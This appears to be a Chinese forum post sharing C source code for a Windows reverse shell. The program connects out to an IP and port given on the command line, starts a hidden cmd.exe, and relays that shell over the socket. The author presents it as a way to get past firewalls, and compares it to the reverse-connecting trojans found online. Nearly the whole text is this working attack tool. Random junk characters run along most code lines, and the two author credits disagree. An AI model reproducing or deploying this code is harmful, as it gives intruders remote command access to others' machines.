这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z T T
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/* ============================== *oX]=u&
Rebound port in Windows NT E816YS='
By wind,2006/7 _s-HlE?C
===============================*/ 5po'(r|U
#include l~!fQ$~
#include C!k9 JAa$Z
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#pragma comment(lib,"wsock32.lib") b\j&!_
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void OutputShell(); |QNLO#$ -
SOCKET sClient; O| 6\g>ew
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 05VOUa*pb
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void main(int argc,char **argv) Dke($Jr{
{ Yj7= T%5
WSADATA stWsaData; 6aZt4Lw2\
int nRet; /,N!g_"Z
SOCKADDR_IN stSaiClient,stSaiServer; >dvWa-rNUT
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if(argc != 3) 'BdmFKy1
{ ^!p<zZ
printf("Useage:\n\rRebound DestIP DestPort\n"); +[8Kl=]L
return; Y!1^@;)^
} Q] yT
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WSAStartup(MAKEWORD(2,2),&stWsaData); X$|TN+Ub
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !:O/|.+Vmf
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stSaiClient.sin_family = AF_INET; 6SBvn%
stSaiClient.sin_port = htons(0); ^&';\O@)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;.Oh88|k
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mn; 7o~4
{ DkF2R @
printf("Bind Socket Failed!\n"); oD#<?h)(
return; }#W`<,*rL.
} n]C%(v!u3
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stSaiServer.sin_family = AF_INET; %6IlE.*,
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7l#2,d4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <\d|=>;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )y/DGSd
{ PVD ~W)0m*
printf("Connect Error!"); ?%xhe
return; teOBsFy/I
} }L$Xb2^l
OutputShell(); 0fPHh>u
} ,8=`*
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void OutputShell()
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{ _L4<^Etfm
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; X=p3KzzX
OSVERSIONINFO stOsversionInfo; "h;;.Y8e
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ( ztim
STARTUPINFO stStartupInfo; =2nn "YVP
char *szShell; wsJ%*
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PROCESS_INFORMATION stProcessInformation; #mRFUA
unsigned long lBytesRead; ,bVS.A'o
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TXJY2J*24
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iIGI=EwZ
stSecurityAttributes.lpSecurityDescriptor = 0; A`x
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stSecurityAttributes.bInheritHandle = TRUE; W`Q$t56
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}b'g
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); QlRoe|{
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); NlF0\+h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .@i0U
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +=6RmId+X
stStartupInfo.wShowWindow = SW_HIDE; {C/L5cZ]J
stStartupInfo.hStdInput = hReadPipe;
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z;y^t4
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GetVersionEx(&stOsversionInfo); J+71FP`ZH
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switch(stOsversionInfo.dwPlatformId) 97(Xu=tX
{ S$jV|xKB
case 1: BSfm?ku"!
szShell = "command.com"; tM^;?HL]
break; *gd?>P7\0
default: 2JiAd*WK
szShell = "cmd.exe"; !EX?m }7
break; _(oP{wgB
} vv2vW=\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); P.LuF(?$
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send(sClient,szMsg,77,0); lh\ICN\O
while(1) #+K
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{ )D["M$ZA^
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); af<NMgT2s~
if(lBytesRead) AXl!cgi
{ j{{~Z M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {Ax)[<i
send(sClient,szBuff,lBytesRead,0); ^)f{q)to
} ;-KAUgL2
else aNE9LAms
{ PPoI>J
lBytesRead=recv(sClient,szBuff,1024,0); %@}o'=[
if(lBytesRead<=0) break; \~@[QGKN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *xE"8pN/
} .3lGX`d{
} Mw"xm9(Q
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return; e2AN[Ar
}